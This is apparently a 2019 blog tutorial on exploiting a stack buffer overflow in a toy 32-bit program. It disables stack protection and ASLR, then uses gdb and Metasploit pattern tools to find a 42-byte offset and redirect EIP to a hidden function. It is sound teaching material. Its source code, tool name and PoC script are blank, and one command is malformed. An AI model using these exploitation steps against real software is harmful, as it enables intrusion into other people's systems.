Thursday, May 09, 2019

Basic Buffer Overflow Exploit Make Easy

According to Wiki, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations.

When buffer overflow occurs, attacker can run malicious code accordingly and may escalate the privilege as a result.

I introduce a very simple way to develop the buffer overflow exploit. No complicated procedure can be observed. The exploit development is running on 64-bit Kali Linux.

The following is the C source code of the "vuln.c" :

The "hacker" function is never be called from the program. Our aim is to run it as a result.

To compile the source to an executable :

gcc vuln.c -o vuln -fno-stack-protector -m32

If you cannot compiile to 32-bit, please install the following package :

apt install gcc-multilib

To make it simple, we disable the Address Space Layout Randomization (ASLR) :

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

In order to inspect the executable file, we need to download a tool namely "".


Since the file is in Windows DOS format, we need to change it to be Unix format and executable :

chmod +x

Run the following command and you will find out that "NX" is enabled.

./ --file vuln

To double check the file is compiled into 32-bit.

file vuln

vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/, for GNU/Linux 3.2.0, BuildID[sha1]=bc2907521e9842167e7544516653843949dabc9e, not stripped

When everything is alright, we run it to see how it works.


What is your name?
Hey samiux, you're harmless, aren't you?

To see if we can crash it or not with 50 characters :

python -c 'print("A"*50)' > a.txt

cat a.txt | ./vuln

What is your name?
Segmentation fault

Okay, it does crash. Now, we fire up the gdb to do the exploit development :

gdb ./vuln

Feed in the junk characters.

(gdb) r < a.txt

The program is crashed as expected.

We check with the registers to see what had happened.

(gdb) info registers

We noticed that the EIP is overwritten with "A". That means, we can control the EIP then. Once EIP can be controlled, we can run any code from that point. It is because EIP Instruction Pointer Register always contains the address of the next instruction to be executed.

Now, we need to find out how many junk characters to cause the crash. We use the "pattern_create.rb" to create a unique pattern.

Open another terminal and run :

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50 > b.txt

We feed the unique pattern to the program.

(gdb) r < b.txt

The program is crashed again as expected.

We check the registers again and found out that EIP is overwritten with "0x41346241".

(gdb) info registers

We use the tool namely "pattern_offset.rb" to find out the offset. The offset is 42 for this case.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41346241
[*] Exact match at offset 42

According to the source code, we know that there are 3 functions, they are main, inSecure and hacker. Our aim here is to run hidden function "hacker". So, we need to find out the address of the function of hacker.

(gdb) info functions

(gdb) disass hacker

We find out that the address of function hacker is "0x565561b9".

Now, the payload will be as the following :

42's "A" and [the address of hacker function]

The PoC Python code "" :

Exploit it now :

python | ./vuln

What is your name?
No, I'm a hacker!
Segmentation fault

The hidden hacker function is ran as a result.


To find the EIP address :

python -c 'print("A"*42)+ "B"*4' > c.txt

(gdb) r < c.txt

(gdb) info registers

(gdb) x/50xw $esp -100

The EIP address is 0xffffd32c.

May 9, 2019, Hong Kong, China